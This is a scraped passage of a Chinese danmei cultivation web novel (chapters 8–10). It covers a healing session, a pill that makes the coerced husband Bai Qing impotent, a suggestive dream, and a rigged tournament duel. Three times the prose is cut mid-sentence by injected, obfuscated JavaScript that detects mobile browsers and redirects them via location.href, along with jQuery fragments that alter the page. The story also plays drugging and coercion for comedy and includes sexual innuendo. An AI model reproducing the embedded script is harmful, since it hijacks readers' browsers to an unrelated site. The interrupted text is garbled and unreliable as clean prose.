听到这话,温天霁不禁感慨,柳琛忱果然是君子。 柳琛忱被打得头破血流,暗恋的男人被人抢了,结果还能这么为情敌考虑,实在当得起“医者仁心”这四个字了。 “无妨。”温天霁小手一挥,无所谓道。 温天霁久病成医,对病理颇有几分了解,因此笃定,后面落下的病根也不过是任督二脉受损更严重。而这一点,到时候吞一颗洗髓丸就完事了。 柳琛忱见温天霁这样子,开始脑补。 温天霁一个不谙世事的公子哥,因为身体受损,而被温家长老们迫害,不得不顶着身体受损,落下更严重的病根的风险,而强行恢复身体,参加旭日大比。 想到这里,心软的柳琛忱不禁红了眼眶,上前一步,激动道:“你放心,我定竭尽全力,助你恢复,且让后遗症的危害减小到最低。” 说这话的时候,柳琛忱眼底满是怜惜。 柏清一看,顿时有些牙痒痒,心想:“好你个温天霁,真是会招蜂引蝶。上次引得丁凌风脸红,这次又得到了柳琛忱的怜惜,还有什么人是你勾搭不上的?” 他的心思,温天霁毫无觉察:“那就多谢柳兄了。” 柳琛忱道:“请随我来。” 温天霁跟随着柳琛忱走到了一间充满了药香的房间前,而后进门,坐了下来。 室内布置简洁,却处处透着医修世家的底蕴——墙上挂着几幅古老的医道图谱,桌上摆放各种珍稀的药材,空气中弥漫淡淡的药香。 柳琛忱坐在椅子上,再次为温天霁把脉。 他的手指轻轻搭在温天霁的手腕上,眉头渐渐紧蹙。 他站起身,走到房间角落的药柜前,仔细挑选了几味药材,随后唤来侍女:“去准备一桶药浴,水温控制在三十度左右,药材按这个方子来。” 侍女接过药方,恭敬地退了出去。 片刻后,侍女将药浴准备妥当。 柳琛忱挥了挥手,示意侍女退下。 紧接着,他脸色微红,有些难以启齿:“温、温公子……” 温天霁见不惯他这样吞吞吐吐:“有话直说。” 柳琛忱不敢直视温天霁,眼神闪躲:“接下来还请柏清离开房间。” 柏清瞥了一眼药浴桶,心中有几分了然:“接下来是不是需要温天霁脱光,然后你给他扎针?” 柳琛忱低下头,颔首。 他见过的患者多了去了,看着病患脱光了扎针更是家常便饭,没有谁让他这般局促过。 但是温天霁不同,温天霁长得太过柔美,美得耀眼夺目,更何况温天霁是男妻,这层身份在,让他更加不安了。 柏清没说什么,只是默然退出房间。 站在房外时,他心中闷闷的,有种说不清道不明的苦涩。 五个时辰后,天都黑了,门才打开。 温天霁一改以往的脸色苍白,此刻他面色红润,神采奕奕,根本看不出来是个病人。 “走了。”温天霁拍了拍柏清的肩膀,然后回头对柳琛忱说,“多谢柳兄,以后你有什么事,尽管吩咐,能做到的,我都会尽力达成。” “客气了。” 与温天霁五个小时赤忱相对,柳琛忱颇有些心虚,不敢直视温天霁的双眸。 柏清看在眼里,直接牵住温天霁的手,恨恨道:“走。” 温天霁不明就里,不知道自己哪里惹恼了柏清,被牵着走了一段路后,才甩开柏清的手:“说了,不要对我动手动脚。” 柏清愤愤道:“外人可以对你动手动脚,我这个丈夫牵下手都不行。” 8. 第 8 章 温天霁有些诧异,一双水润的双眸在柏清身上扫视,末了,咂摸道:“你这是……吃醋了?” 哈!吃醋? 柏清嗤笑一声,不以为然。 他怎么可能为了温天霁这娇蛮任性的人吃醋? 可是除了吃醋,还有别的解释吗? 柏清思索着,没有得出结论,但还是逞强地觉得,有的,必然有别的解释,只是他一时没想出来罢了。 “稀奇。”温天霁像打量奇珍异兽一样打量柏清,仿佛从来没有认清柏清这个人一样。 原来柏清也会吃醋,而且是因为他而吃醋。 温天霁笑了笑,想死系统颁布的任务还没完成,便伸出修长的食指,轻轻点在柏清的额头上:“你记好了,狗是没有资格吃主人醋的,明白了吗?” 柏清冷笑一声,刚要反驳,男德系统警告:“请宿主维护男妻温天霁的一切言行,切莫反驳,否则将遭受电击。” 柏清:“……” 他很想口吐芬芳。 温天霁见柏清一脸的不服,却不见对方反驳,催促道:“说话呀,你怎么了,哑巴了吗?” 柏清长舒一口气,忍辱负重:“妻主所言甚是,柏清紧记于心,柏清日后再不敢吃妻主大人的醋。” 温天霁还以为柏清会发飙,但没想到柏清这么温顺驯服,这让他意外之余,分外满意。 “喏。”温天霁取出一颗赤红色的药丸,递了过去,“这是主人给听话小狗的奖励,你服下吧。” 柏清向来不惮以最恶毒的心来揣测温天霁的用意,所以这颗药丸,在他眼里,和毒药无异。 “这是什么?”柏清很想知道,温天霁究竟又想怎么迫害他。 温天霁撇了撇嘴,神色不悦,声音也更清越了几分:“你管这是什么,乖狗不应该听主人的话吗?主人让你吃下去,你怎么还推三阻四,问东问西的呢?” 柏清接过药丸,当然不打算吃,可是男德系统颁布命令:“请宿主服下这粒绝世清心丸。” 柏清听到系统说这颗药丸是绝世清心丸的时候,他终于松了一口气,还好不是什么乱七八糟的毒药。 有着这么清醒脱俗的名字,想来这颗药也不会坏到那里去吧。 这样想着,柏清将药丸放入嘴里。 药丸入口即化,柏清吞咽下去,过了一会儿,并没有发现自己的身体有什么变化。 温天霁心满意足地拍了拍柏清的肩膀,道:“这颗药丸名叫绝世清心丸,是花了好大的工夫,才从柳琛忱那里要来的。你吃了它,就能永远保持冷静……” 说到这里,温天霁忍不住咯咯笑了起来,幸灾乐祸:“当然,就连美女在怀,各种撩拨,你也能不为所动,小兄弟永远都那么冷静,再也立不起来。” “你!”柏清听到这里,还有什么不明白。 这药丸是让人变成太监的玩意儿! 事关男性尊严,柏清语气很冲:“解药呢?!” “没有解药,”温天霁毫无心理负担地撒谎,“谁让你对着我起了□□,这就是给你的教训!” 柏清绕过温天霁,走到柳琛忱面前,隐忍道:“给我绝世清心丸的解药。” 柳琛忱支支吾吾道:“没有解药。” 柏清听到温天霁说没有解药,他是不相信的,毕竟温天霁这个人毫无信用可言,谎话那是张口就来。 可是柳琛忱是正人君子,一言九鼎,根本没有说谎的必要。 柏清真的怒了,拳头紧攥,但迫于男德系统的淫威,他只能隐忍,隐忍,再隐忍。 他深吸一口气,宽慰自己:柳琛忱没有办法解开绝世清心丸,但天外有天,人外有人,总有人能够解开。 况且,他现在是太监状态,就有了正当的理由,不必和温天霁圆房,可谓因祸得福。 柏清再三自我宽解下,终于平静下来。 温天霁饶有兴致地看着柏清脸色变换不停,待到柏清恢复平静,才笑着开口:“唉,可怜啊,柏清哥哥,你那家伙这么勇猛威武,却没有用武之地啦。” 柏清好不容易平静下来的情绪,再次被温天霁挑起:“你能不能少说两句?” 温天霁不乐意了:“怎么和你主人说话呢?” 柏清当即闭嘴,抿了抿唇,温顺道:“妻主大人,我错了。” 温天霁这才对柏清的态度感到满意:“走,我们去找大哥,然后回家。” … 回到温府后,已经是晚上。 温天霁因为浸泡在药浴中五个时辰,浑身都是药香,熏得柏清有些心猿意马。 “过来。”温天霁躺在被窝里,冲柏清招了招手,“快给我暖床。” 自从柏清吞下绝世清心丸后,温天霁放下了心。 既然柏清都是太监了,那他也就把柏清当成了姐妹来相处,不怕柏清再对他举旗致敬了,对他动手动脚,心怀不轨了。 柏清刚洗完澡,浑身清冽的气味,温天霁闻了一下,感觉还不错。 温天霁在冬日里冷得瑟瑟发抖,好不容易来了个天然的大火炉,自然手脚并用,缠了上去,将柏清当成抱枕来用。 这时,柏清心中的那口郁气终于消散。 看,不管温天霁和谁言笑晏晏,到最后还不是在他怀里,被他搂着入睡。 温天霁,他的人。 柏清心情颇好地闭上双眼,入眠。 到了半夜,柏清做了个梦。 他梦到温天霁一件件脱光了自己的衣物,只剩一件亵衣松松垮垮地挂在身上,坐在床边,冲他勾了勾食指,女王一般地矜娇道:“过来,给我舔。” 温天霁生得美貌异常,至少在柏清见过的人里面,再没有比温天霁还好看的了。 甚至柏清可以笃定,像温天霁这么美貌的人,他以后也不会遇到。 就这样一位神女,忽地下了凡,冲他眨了眨眼,睇眄含情。 他心中生发了崇敬的心,想要顶礼膜拜,于是跪了下来,一步步膝行上前,将额头抵在温天霁的双腿之上。 温天霁缓缓分开了双腿,露出森森美景。 柏清喉结滚动,上前,毫不犹豫地张开了嘴…… …… 省略,懂得都懂。 我什么都没有写,审核请放过我。 柏清是个一个巴掌拍醒的,醒来的时候,就见温天霁的手指被自己含在嘴里,不停地吮吸。 温天霁气得浑身发抖,将手指抽了出来,犹觉不解气,又狠狠地扇了柏清一个巴掌。 这个巴掌终于将柏清拍得清醒。 “柏清,你干什么呢!”温天霁直接一脚将柏清踹下床,“你可真是一头种马,被人化学阉割了,还能发情。也不看看你发情的对象是谁!我,你也敢肖想!你配吗?” 柏清从地上撑起,半坐着,抬眸看向温天霁。 温天霁这时头发披散,额前几绺碎发将其一双水灵的杏眸半遮半掩,更增添万种风情。他发怒的时候,雪肤泛红,像熟透了的水蜜桃,让人忍不住想要伸手采撷。 柏清痴痴地望着温天霁,只觉得对方生气的样子也颇有神性,当真是神女一个,美得不可方物。 等他回过神,明白自己做了什么的时候,才显示出懊悔的神色来。 温天霁用手指着柏清:“暖床的人,我不缺你一个,你要是做得好就做,做不好我就换人!” “做得好。”柏清心知这次是自己的错,所以滑跪得非常快,“妻主大人,请再给我一次机会,我保证不会再让这种事情发生。” 温天霁气极,好端端被人给性骚扰了,真是晦气。 他干脆道:“你就跪在我床前,好好反省。” “是。”柏清爽快地答应。 这次的跪罚,柏清没有任何怨言,毕竟是他做错了事。 温天霁盖上被子,背对着柏清,好久才睡着。 然而睡梦中,他并不安稳,没一会儿就被冻醒了。 温天霁下意识道:“阿福,点上地龙。” 等他清醒过来,才想起来,阿福早就被他打发走了,现在伺候他的人是柏清,于是吩咐:“柏清,点上地龙。” 柏清思虑再三,回道:“地龙对你的身体不好,还是我给你暖被窝吧。我保证这次,我绝对安分守己。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156296|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>温天霁也知道点地龙对自己身体不好,尤其明天还要参加旭日大比的抽签,下午就要开始第一轮淘汰赛。 温天霁权衡利弊,认命:“上来吧。” 柏清心中一动,嘴角勾起一抹若有似无的笑意,钻进冰冷的被窝,不再说话。 接下来的半夜,一夜无梦。 … 翌日,温天霁冷着脸,任由柏清照料自己,给自己梳妆打扮。 而后两人便前往了天衍宗渝州分舵。 渝州分舵的广场上早已人声鼎沸,青石地面被晨雾浸得湿滑,远处山峦隐在薄云后,像一幅泼墨未干的画。 温天霁裹着雪狐大氅站在人群边缘,面色冷得似要结霜。 柏清替他拢了拢毛领,指尖若有若无擦过他耳垂,温天霁立刻横了他一眼:“爪子不想要了?” 柏清垂眸退后半步,喉结却动了动——昨夜梦里那截雪白的颈子还烙在他眼底。 温天霁站在人群中,偶尔几句关于他和柏清的话钻入耳朵。 “温天霁这个病秧子也要参赛?他不会刚上场就摔倒,然后碰瓷吧?” “这你就瞎说了,你是没有参加丁家晚宴,看到他和何婉茹之间的舞剑配合,他剑法高超着呢。” “这柏清不是很讨厌温天霁的吗?怎么和温天霁形影不离,像温天霁的护卫一样?” “兄台有所不知,这对夫妻恩爱得很,听说在丁家晚宴上消失了一个时辰去做恨,温天霁腿都软了,被柏清抱着回来。” 温天霁:“……” 很好,他想把这些说闲言碎语的人的嘴都撕烂了。 柏清听到这些话倒是没什么表示,只是嘴角微微扬起,不知道在想些什么。 “温道友,柏道友!” 一道雍容的女声在温天霁背后响起。 温天霁回过头,只见梳着灵蛇髻,身着藕色长裙的何婉茹正冲着他招手。 他也挥了挥手,露出和善的笑意,寒暄:“何道友,别来无恙?” “好着呢。”何婉茹大大咧咧道,“温道友,你也来参加旭日大比?” “不错。”温天霁微微颔首,算是回应。 何婉茹似乎对温天霁颇为钦佩,因此话格外多:“温道友,你上次赐教的话,我牢牢记在心里。‘无他,唯手熟尔。’这句话当真至理名言。我孜孜苦求捷径,却不知真正的捷径便是勤奋……” 何婉茹一个人在那里,倒豆子一般说了一长串,温天霁惟有报以微笑。 说起来,原著里对柏清一见钟情的何婉茹,如今无视了柏清,反而对自己很是欣赏,这蝴蝶效应,也让温天霁觉得有意思。 这时候,何婉茹身后的马啸风拈酸吃醋:“小师妹,人家温道友已经婚配,说不定正和夫君有话要说,你这时候招呼,岂不是打搅了他们。” 他这话,旨在点明温天霁已婚配,让何婉茹不要动心。 但是何婉茹又没有对温天霁动心,她只是太想进步了。 从温天霁那里得到启发后,她隐隐觉得自己能够晋升元婴了,自然很是感激温天霁。 何婉茹虽然性子大大咧咧,但也是心细如发的人。 她听马啸风这么说,一下子反应过来马啸风的弦外之音,顿时对马啸风的印象更差了。 “温道友,你不会觉得我打搅你了吧?”何婉茹抹了一下鼻尖,“若是如此,我这就道歉。” 她这话表面上在询问,可是答案却是唯一的,温天霁只能说:“不打搅。” 这样一来,何婉茹便可以打马啸风的脸了:“马师兄,人家温道友都不嫌弃我烦,你多嘴什么!” “是是是。”马啸风讪讪笑道,暗自把这笔账记在了温天霁头上。 温天霁因为有了《素女心经》上半册,对剑法心法有了更多的感悟,这次和何婉茹交流起来便不再敷衍,而是口若悬河,滔滔不绝。 很快,何婉茹便被他折服。 就连一旁吃干醋的柏清,也对温天霁刮目相看,心道:“温天霁果然无愧于剑修天才的称号,先前倒是我对他有偏见,认为他只是一个草包。看来是我目光短浅了。” 9. 第 9 章 没多久,就到了抽签的时候。 每个人手里都分发了一根铜签,上面写着自己的姓名。 众人需要把自己手中的铜签放入鎏金蟠龙鼎中,而后由灵力催动。若是两根铜签一起跳出,那么这两人就是相应的对手。 何婉茹作为天衍宗宗主之女,有条不紊地引导着众人将铜签放入蟠龙鼎中。 温天霁站在人后,并不着急,百无聊赖地听着别人说话。 “希望能抽个好签,对手不要太强,最好弱一点。要是这次能挺进第三轮,家族就会给我分配更多的资源了。” “你想太多了,这里来的人都是天之骄子,哪里来弱一点的对手,还是做好自己吧。” “谁说没有,温天霁那个病秧子不就是个软柿子吗?不知道谁这么好运,能够抽到他。” “嚯!你是没有参加丁家晚宴吧?那晚温天霁和何婉茹共同舞剑,不落下风,实力强劲得很,抽到他才算倒霉。” 温天霁听到最后一句,情不自禁地点点头。 他的实力,他最为清楚不过,有了《素女心经》的加持,即便是金丹中期,也能和金丹大圆满的何婉茹有一战之力,更别提这些才筑基期、金丹前期的修士了。 温天霁走上阶除,来到鎏金蟠龙鼎面前,将铜签扔了进去。 不多时,所有人的铜签都已扔了进去。 何婉茹走到金鼎旁,刚要输入灵力,便听见马啸风对她说:“师妹,还是我来吧。你昨夜修炼到今早,没有歇息过,灵力损耗很大。启动这个鎏金蟠龙鼎需要耗费不少灵力,还是我来代劳。” “也好。”何婉茹正觉得有些疲惫,便让出了位置。 马啸风走上前去,眸中闪过一丝阴狠与算计,随后将手按在蟠龙鼎上,注入灵力。 在灵力的催发下,蟠龙鼎上的九色纹龙逐渐变得栩栩如生,而后九条形状各异的纹龙渐次睁开双眸。纹龙一条条飞出鎏金鼎,盘旋在金鼎上空,不停地咆哮怒吼。 每一条纹龙都至少有十丈长,它们一开始还在金鼎上空盘旋,而后便朝着在场的人飞来。 “这是怎么回事?纹龙不会攻击我们吧?” 在场的人不禁发出轻呼。他们能够感受到,这几条纹龙的修为远远高于他们,若是纹龙突然发动袭击,他们定然无力招架。 温天霁老神在在,丝毫不畏惧,气度淡然。 他甚至还有闲心观察这几条纹龙,然后心想:“听说龙有两根,果然不错。” 柏清看着温天霁安之若素的样子,心中不禁生出一种奇异的感觉,觉得他似乎对温天霁真的有误解。 温天霁到底是温家出来的人,再怎么嚣张跋扈,那矜贵的气度,也是其他小门小户所难以企及的。 好一阵之后,在众人此起彼伏的惊呼声中,九色纹龙才从众人头顶离去,重新盘旋在鎏金鼎上空。 不多时,金鼎开始吐出两张铜签。 何婉茹取过铜签,喊道:“陈锋,周霞。” 陈锋与周霞便上台接过铜签。 一双双人喊过来,许久,才轮到温天霁。 “温天霁,梦辙言。”何婉茹喊道。 温天霁听到梦辙言这个名字,心头一动。 如果他没有记错的话,梦辙言这小子和原身过节大了去了。 没错,梦辙言也是柏清后宫中的一员。 柏清是个孤儿,他的父母在仙魔大战中丧生,他被母亲的好友柏玲珑收养,从小生活在梦家。 因为养母柏玲珑是妾室,地位不高,加上主母彪悍毒辣,养母的日子很不好过,自然柏清的日子也很悲惨。 柏清虽然是少爷,但干的活宛如下人,需要挑水劈柴,洗衣做饭,甚至是刷马桶。 梦家的所有人都瞧不起他,除了梦家主母的嫡长子——梦辙言。 梦辙言和柏清青梅竹马,会偷偷给柏清塞灵石,让柏清买衣物,还会给柏清丹药等等。 即便后来柏清成为了龙傲天,一统修真界,后宫遍地,那梦辙言对他而言也是特殊的,稳坐后宫正宫之位。 而梦辙言作为梦家最被给予厚望的后生,实力自然不俗。 抽到梦辙言最为对手,就连信心满满的温天霁,也压力颇大。 要知道,在原著中,柏清是旭日大比的第一名,而梦辙言是第二名,什么水平,不用多说。 温天霁叹了一口气,心想自己这是什么签运,也太倒霉了吧。 但是他并没有因此感到丧气,反而激发了斗志。 就算是梦辙言,温天霁一样有信心能够对付! 温天霁走到金鼎前,从何婉茹手中接过铜签。 何婉茹叹了一口气,安慰道:“没事的,相信你能战胜梦辙言,我期待你夺得前三,进入天衍宗,和我一起修行。” 这次旭日大比,由天衍宗举办,目的就是为了挑选好苗子,纳入天衍宗。 比赛的前三名,便有资格进入天衍宗修行。 一旁的马啸风闻言,暗暗咬牙。 他就是不想温天霁夺得前三,进入天衍宗,不想温天霁和何婉茹有更多接触的机会,才会动了黑手,让温天霁抽到实力强劲的梦辙言。 这时,一袭广袖宽袍,仙风道骨,气质超凡脱俗的梦辙言走上前来。 他接过铜签,冷冷地对温天霁道:“你好,托你的福,我在梦家过得很好。” 这又是一件尴尬事。 柏清的养母柏玲珑身子很差,需要用极寒桑蚕吊命。 原主对柏清一见钟情后强取豪夺,买断了所有极寒桑蚕,以此胁迫柏清入赘。 而梦家恰好想要与温家联姻,便火速同意,将柏清卖了出去。 若是说,有姓梦的不同意,那么那个人就是梦辙言。 梦辙言找到原主,好言规劝,却被原主和其手下围殴,还倒打一耙——梦辙言对原主不轨。 温家权势高出梦家许多,梦辙言虽是梦家给予厚望的人,但到底比不上攀附温家重要,因此梦辙言被梦家的人狠狠教训了一顿。 温天霁没有一丝一毫的心理负担,微笑道:“你过得好就好。” 梦辙言没想到温天霁脸皮这么厚,面上浮现出薄怒:“你就不会愧疚吗?你的良心不会痛吗?” “什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156297|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”温天霁娇俏地耸了耸肩,歪了下脑袋,“什么是良心,这东西能吃吗?而且我为什么要愧疚,我又没有做错什么。” 做错事的人是原主,和他温天霁有什么关系! “你!”梦辙言被气到,眼神凌厉起来。 “我我我,我怎么了?”温天霁伸出食指,指了指自己,“我知道我人见人爱,花见花开,你喜欢我也是正常,但不要相用这种低级的手段来吸引我的注意力,没用。” “谁喜欢你了!”梦辙言极有修养,只是皱起了眉头,面色还是冷冷的。 温天霁开始泼脏水:“不喜欢我,你在我成婚前夕,到我房间里来劝我不要和柏清成婚做什么?在我拒绝之后,还对我动手动脚。” 梦辙言被温天霁这厚颜无耻的话震撼到,久久不语。 一旁的柏清不明所以,上前一步,询问梦辙言:“你当真在成婚前夕,去了温天霁的房间?” “是……”梦辙言点点头,“但是我没有对他动手动脚,我是劝他不要和你成婚,我知道你不喜欢他。” 就在这时,男德系统发布任务:“请宿主澄清,你很爱男妻温天霁。” 柏清沉默片刻,最后只得对好友道:“没有,你误会了,我很喜欢妻主,我很爱他。和他成婚,我心甘情愿。为他做事,我甘之如饴。” “你!”梦辙言再次震惊,回过神来后道,“柏清,你不用怕,极寒桑蚕我已经从极天西崖那收集到不少,你不要再同温天霁虚与委蛇。” 柏清坚定道:“我没有说谎,我是真的爱上了温天霁,我对妻主是真心的。” “我不信!”梦辙言眼中满是失落和质疑。 温天霁看了一场好戏,也不知道柏清葫芦里卖的什么药,为什么会当中对他表白。 按理说,柏清肯定是恨死他了,更不可能说出爱他,对他是真心的之类的话。除非,柏清另有图谋。 恰在此时,男妻系统提示道:“羞辱柏清的任务还没有完成,请宿主速速完成。” 温天霁:“……” 系统不说,他还真忘了有这件事。 温天霁叹了一口气,将右手搭在柏清的肩膀上,对梦辙言挑衅:“柏清爱我爱得不能自拔,他现在就是我手下的一条狗,我让他往东,他绝不敢往西。” “你!”梦辙言对柏清很是尊重,自然听不得温天霁这样羞辱人的话。 梦辙言一用力,手上的铜签化为齑粉。 他用尽毕生的修养,才忍住没有破口大骂。 半晌,梦辙言冷冷扫了温天霁一眼,道:“不如我们打个赌。” “哦?”温天霁有些感兴趣了,“什么赌?” 梦辙言一字一顿,掷地有声:“这场比试,若是你输了,你就和柏清和离。若是我输了,我往后唯你马首是瞻。” 温天霁心想,这个赌,他一点亏不会吃。 赢了,可以收获一枚实力强劲的小弟;输了,他正好也想和柏清和离。 温天霁当即答应:“好!” 柏清听到温天霁答应赌约,心中有些不是滋味,温天霁就不怕输了要他和离吗? 10. 第 10 章 柏清委婉地提示温天霁:“妻主,输了可是要和离的,你不再仔细想想?” 这话落在温天霁耳朵里,便成了柏清迫不及待想要与他和离,希望他输掉。 温天霁撇了一下嘴,柔和的嘴角顿时变得清冷起来:“你是觉得我会输了?” 虽然温天霁也很希望自己输了后,有个合理的理由,迅速地与柏清和离,划清界限;但是他是个掐尖要强的人,比起输掉对局,他更希望自己能够赢,收下梦辙言这个实力强劲的小弟。 因此,柏清的话在他耳朵里变得不动听起来。 原因并不是柏清希望和离让他感到不舒服,而是柏清觉得他会输给梦辙言让他不舒服。 温天霁显然是误会了柏清,柏清哪里是希望他输掉比赛,而是迫切地希望他能赢——柏清自己也没有料想到,他竟然这么不想和离。 “你就这么看不起我?想要与我和离?”温天霁声音冷冷清清,那骄傲的神色让柏清忍不住慌神。 等柏清回过神来,才连忙否认:“妻主,我希望你能赢,我不想和离。” 一旁的梦辙言闻言,上前来拉柏清的手:“柏清,我知道你这么说,完全是害怕若是我输了,温天霁会惩罚你。所以你放心,这一战,我将用尽全力,助你脱离火海。” 柏清吓了一大跳,连忙后退一步,避开梦辙言的手:“我与妻主和和美美,怎么就是火海了?还有,男男授受不亲,切莫随意触碰我。我的身子只有妻主能碰。” 梦辙言怔了一瞬,随后便是深深地凝望着柏清:“我懂的,我都懂。” 柏清满头问号,你懂啥了? 温天霁在旁边看了全程,也是有点疑惑。 按照柏清的性格,这时候不应该与梦辙言一个鼻孔出气,给梦辙言加油打气,让梦辙言竭力战胜自己吗? 怎么柏清的反应,好像梦辙言迫害了柏清一样,逼着柏清与他喜欢的妻子离婚的样子? 温天霁摸了摸柔软的下巴,不明所以。 这一切都太奇怪了。 首先,性格宁折不屈、铁骨铮铮的柏清,在他面前变成了一条可以随意凌辱,任由捏圆搓扁的忠犬。这很可疑。 其次,在原著中拈花惹草,处处留情的柏清,现在竟然和竹马握个手都不愿意。这更加可疑了。 最后,柏清一直恨不得赶快结束这段婚姻,懒得虚与委蛇,现在竟然说什么他的婚姻和和美美,不想和离。这绝对有古怪好不好! 温天霁用怀疑的眼神看向柏清,咳嗽了一声:“柏清,你听我说。” 柏清很是恭敬道:“妻主请说。” 温天霁想到接下来要说的话,心情还有点小激动:“奇变偶不变。” 柏清:“……” 这是什么?他怎么听不懂?是什么暗号吗? 温天霁心想,没事,没上过高中也有可能,那么小学总该上过吧。 于是,他清了清嗓子,又道:“How are you?” 柏清再次沉默了。 半晌,柏清沉吟道:“妻主,你若是担心自己会输,心情紧张,以至于胡言乱语,那我们就不和梦辙言打赌便是了。” 温天霁:“……” 这下轮到他沉默了。 该死的,这个柏清竟然不是穿越的! 枉他还以为自己遇到了老乡,激动了好久,感情他白激动了。 “你闭嘴。”温天霁翻了个白眼,没好气地说,“这个赌我打定了,并且我一定会赢。” 柏清听到这,心里才稍稍好受一些。 至少温天霁没想过和离,而是觉得他能赢下比赛。 就在他们说完话的时候,其余参赛的人都已经抽完签。 何婉茹就地宣布:“如今诸位都已知晓自己的对手是谁,那么请随我来,前往演武场进行比试。” 说完,何婉茹便走到温天霁身旁,领着乌泱泱一群人往山庄的东侧走。 走的过程中,何婉茹宽解温天霁:“别担心,以你的实力,一定能够赢的。我已经在你身上下了一千颗上品灵石的注,给你加油打气。” 温天霁:“……” 好家伙,何婉茹还是个赌徒啊。 何婉茹也是好心,温天霁能感受到她对自己的善意,于是报以和善的微笑。 但令温天霁没有想到的时,与他并不相熟的马啸风也前来助力:“温道友,你可千万要获胜啊!我相信你,区区梦辙言,不在话下!” 马啸风这话说得真情实感。 话说起来,马啸风也算是搬起石头砸自己的脚。 他本来在鎏金蟠龙鼎里做了手脚,让温天霁抽到了梦辙言这种实力强劲的对手,希望梦辙言能够淘汰温天霁,好让对温天霁大有好感的何婉茹知道,温天霁也不过如此。 但是!他万万没想到,梦辙言竟然和温天霁下了赌约。 要是温天霁输了,就得与柏清和离。 和离后,温天霁不就是单身了吗?那么温天霁和何婉茹结为道侣的可能性大为增加。 毕竟温家是顶级修真世家,天衍宗宗主很有可能为了招揽温家,让何婉茹与温天霁联姻。 所以梦辙言只能咬碎了牙往肚子里吞,昧着良心说出这番话。 温天霁可还是记得马啸风给自己下春药的仇,当即对马啸风说:“你谁啊,我们很熟吗?轮得到你来给我助威?滚一边去。” 马啸风:“……” 何婉茹本来就瞧不上马啸风这等见风使舵的人,当即笑出了声。 说话间,到了演武场。 演武场四周被高耸的围墙环绕,场地宽敞平坦,地面铺满了细密的沙石,踩上去微微有些松软。 场地的四角各立着一根粗壮的木桩,木桩上挂着红色的绸带,随风轻轻飘动。中央,画着一个巨大的圆形图案,象征着比武的界限。 四周的观众席上,已经坐满了前来观战的人。 何婉茹站在演武场的高台上,手持一面铜锣,轻轻敲击了一下,清脆的锣声瞬间传遍整个场地,所有人的目光都集中到了她的身上。 “诸位,比武即将开始,请各位参赛者按照抽签顺序,依次上场。”何婉茹的声音清亮而有力,回荡在演武场的上空。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156298|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 前面的人依次比试完。 何婉茹宣布道:“温天霁,梦辙言,请上台。” 温天霁和梦辙言同时迈步走上演武场,两人的目光在空中交汇。 场外的观众窃窃私语。 “话说起来,这梦辙言和柏清是青兰竹马,有传言他们两个人才是一对,这温天霁可是横刀夺爱啊。这场比试,我看梦辙言憋着一口气,定然能将温天霁这个病秧子打得满地找牙。” “此言差矣,这温天霁可是万里无一的天才,在他冲击元婴失败前,那梦辙言拍马难及。纵然他没有结婴成功,但底子还是在的,打个梦辙言还不是喝水一般简单。” 场上,温天霁一身玄裳镶金纹龙袍,神色淡然。 而梦辙言则是一身广袖白袍,手持长剑,剑锋寒光闪烁,气势逼人。他清冷的眸眼下锐利无比,紧紧盯着温天霁,显然已经做好了全力以赴的准备。 何婉茹站在高台上,手持铜锣,轻轻敲击了一下,清脆的锣声响起:“比武开始!” 温天霁先发制人,抽出雨光剑,剑影一闪而逝。 等到众人看清他的剑招时,长剑已然即将落在梦辙言的胸前。 梦辙言侧身,骤然出剑。 两把绝世宝剑相接,刺耳的声音中,迸射出耀眼的星火。 温天霁的剑招与他的剑,与他的名相似,给人的感觉,像是下了一场淅淅沥沥的小雨,在雨中闪烁着刀光剑影,而等到下一招出来的时候,又是雨过天晴,明媚如春。 梦辙言不过金丹前期的修为,而温天霁虽然有病在身,那也是金丹中期的修为,在修为上便狠狠压了梦辙言一头。 梦辙言本以为,依靠着他在剑道上的造诣,能够弥补修为的差距。 但是万万没有想到,温天霁在剑道上的造诣远胜于他。 温天霁的剑招一招接着一招,让人应接不暇。 没多久,梦辙言便左支右绌,捉襟见肘。 最后,温天霁挽了一个漂亮的剑花,将梦辙言手中的长剑挑飞。 胜负已分。 温天霁只露出了六七分实力,便让在场除了梦辙言和马啸风以外的人钦佩不已。 “不是都在传温天霁任督二脉受损严重,实力大打折扣吗?怎么今天看来,他的实力恐怖如斯!” “太精彩了,温天霁天之骄子的称号,实至名归!” “温家除了家主温满外,又有了温天霁这个后起之秀,独步修真界,指日可待啊!” 场上,梦辙言神色失落,俨然是没有料到自己会输得如此惨烈。 温天霁归剑入鞘,挑了下眉,矜娇道:“承让了。” 梦辙言咬牙道:“愿赌服输,从今往后,我唯你是瞻。” 